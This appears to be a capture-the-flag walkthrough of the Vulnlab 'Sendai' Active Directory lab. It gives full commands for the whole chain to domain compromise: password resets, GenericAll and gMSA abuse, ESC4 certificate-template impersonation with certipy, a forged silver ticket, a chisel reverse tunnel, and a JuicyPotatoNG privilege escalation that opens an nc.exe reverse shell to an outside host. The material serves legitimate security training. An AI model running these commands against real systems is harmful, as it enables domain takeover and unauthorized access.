# Vulnlab - Sendai
```bash
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: DNS:dc.sendai.vl
| Issuer: commonName=dc.sendai.vl
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.sendai.vl
| Issuer: commonName=dc.sendai.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-04T16:24:01
| Not valid after: 2024-11-03T16:24:01
| MD5: 6198fc32527e478294e38fd5c6a2b81e
|_SHA-1: 73b4d1026b49e0cb9c0d633982377e74f32b7db3
|_ssl-date: 2024-05-05T16:28:56+00:00; -1m22s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open unknown
56740/tcp open unknown
56744/tcp open unknown
```
## PORT 80/443
Running gobuster, we can find `/service`
However this endpoints shows that we don't have access to it
## PORT 445
Enumerating smb shares with anonymous login, we'll see `config`, `sendai` and `Users` share, where config was not accessible, Users didn't anything but sendai had some interesting files
The incident talked about users having weak passwords, all users will be prompted to change their password on logging in, the transfer directory had user's directories
## Resetting domain user's password
These users can also be enumerated through `lookupsid` by brute forcing sids
On trying to login with null password, we'll get two users with password to be changed
Password can be changed with `impacket-smbpasswd`
```bash
impacket-smbpasswd sendai.vl/Thomas.Powell@dc.sendai.vl -newpass '$aduwu123'
```
From config share, we can grab `.sqlconfig` having credentials to MSSQL
But this service isn't exposed to us so moving on to enumerating the domain with bloodhound
```bash
python3 bloodhound.py -u sqlsvc -p password -d sendai.vl -c all -dc dc.sendai.vl -ns 10.10.104.41
```
Thomas.Powell is a member of `Support` group has `GenericAll` on `ADMSVC` group which has `ReadGMSAPassword` on `MGTSVC$` account. We'll need to add thomas in ADMSVC group, read the NThash of MGTSVC account
## Abusing GenericAll and reading GMSA password
Through` bloodyAD` we can add thomas in ADMSVC group having genericall rights
```bash
python3 bloodyAD.py --host "10.10.104.41" -d 'sendai.vl' -u 'thomas.powell' -p '$aduwu123' add groupMember ADMSVC thomas.powell
```
With gmsadumper script or with netexec we can dump the nthash of mgtsvc account
```bash
python3 gMSADumper.py -u 'thomas.powell' -p '$aduwu123' -d sendai.vl -l 10.10.104.41
```
This account can login on DC as it's part of `Remote Management` group
Checking the privileges after logging in through evil-winrm, it doesn't have any privilege that we can abuse to get local admin
## Obtaining clifford's password
From the running process, we have helpdesk which doesn't normally run on a system
Enumerating the system with `PrivescCheck.ps1`
This will list down the running processes from where we'll find the clifford.davey's creds
## Enumerating ADCS
This user belongs to `CA-Operators` group, so he likely will be able to enroll in a custom template, enumerating templates with `certipy`
## Escalating privileges through ESC4
```bash
certipy find -u clifford.davey -vulnerable -target dc.sendai.vl -dc-ip 10.10.115.126 -stdout
```
This lists down a template `SendaiComputer` which has EKU set to `Client Authentication` that can be used to authenticate on the system and ca-operators group has Full control over this template which means we can edit this template and impersonate as the domain admin, which is known as ESC4 (access control) abuse
With certipy, we can change the configuration of this template to allow domain users to enroll for this template and impersonate any user
```bash
certipy template -u clifford.davey -target dc.sendai.vl -dc-ip 10.10.115.126 -template SendaiComputer
```
```bash
certipy req -u 'clifford.davey' -ca 'sendai-DC-CA' -dc-ip 10.10.115.126 -target dc.sendai.vl -template 'SendaiComputer' -upn administrator
```
```bash
certipy auth -pfx ./administrator.pfx -domain sendai.vl
```
## Escalating with SeImpersonate privilege
Another way of escalating privileges is through mssql, since mssql is running internally, having access on the machine we can port forward with`chisel`
```bash
chisel server -p 2222 --reverse
chisel.exe client 10.8.0.136:2222 R:socks
```
But we'll get login denied for sqlsvc account
With `ticketer,` forging a silver ticket for accessing MSSQL service as an administrator
```bash
ticketer.py -domain-sid S-1-5-21-3085872742-570972823-736764132 -domain sendai.vl -spn MSSQL/dc.sendai.vl -nthash hash Administrator
```
Enabling `xp_cmdshell` which will allow us to execute system commands as sqlsvc
The difference here is that we'll have `SeImpersonate` privilege, which can abuse to get local admin
Using `juicypotato-ng` to abuse the privilege and get a shell a SYSTEM
```bash
.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Users\sqlsvc\nc.exe 10.8.0.136 4444 -e cmd.exe"
```
# References
- https://exploit-notes.hdks.org/exploit/windows/active-directory/smb-pentesting/
- https://github.com/itm4n/PrivescCheck
- https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services